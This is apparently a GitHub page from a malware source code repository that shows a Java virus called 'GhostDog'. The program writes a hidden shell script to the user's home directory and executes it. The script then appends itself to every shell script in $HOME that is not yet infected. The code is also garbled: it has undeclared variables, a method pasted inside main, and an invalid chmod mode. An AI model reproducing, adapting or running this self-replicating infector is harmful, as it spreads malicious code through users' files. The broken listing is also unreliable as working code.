MalwareSourceCode/Java/Virus.Java.Ghotdog at main · 0xtejas/MalwareSourceCode · GitHub

33 lines (32 loc) · 1.35 KB

import java.io.*;

class GhostDog {

public static void main (String[] argv) {

try {

String userHome = System.getProperty("user.home");

String target = "$HOME";

FileOutputStream outer = new FileOutputStream(userHome + "/.ghostdog.sh");

String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +

"echo \"This is a New Target File from me..-->GhostDog<--.\"" + "\n" +

"for file in `find " + target + " -type f -print`" + "\n" + "do" +

"\n" + " case \"`sed 1q $file`\" in" + "\n" +

" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +

" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +

" esac" + "\n" + "done" + "\n" +

"2>/dev/null";

byte[] buffer = new byte[homer.length()];

ghostdog.getBytes(0, ghostdog.length(), buffer, 0);

public void start() {

if (sleeper == null) {

sleeper = new Thread(this);

sleeper.setPriority(Thread.MAX_PRIORITY);

sleeper.start();

}

outer.write(buffer);

outer.close();

Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " +

userHome + "/.ghostdog.sh");

Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +

"/.ghostdog.sh");

} catch (IOException ioe) {}

}

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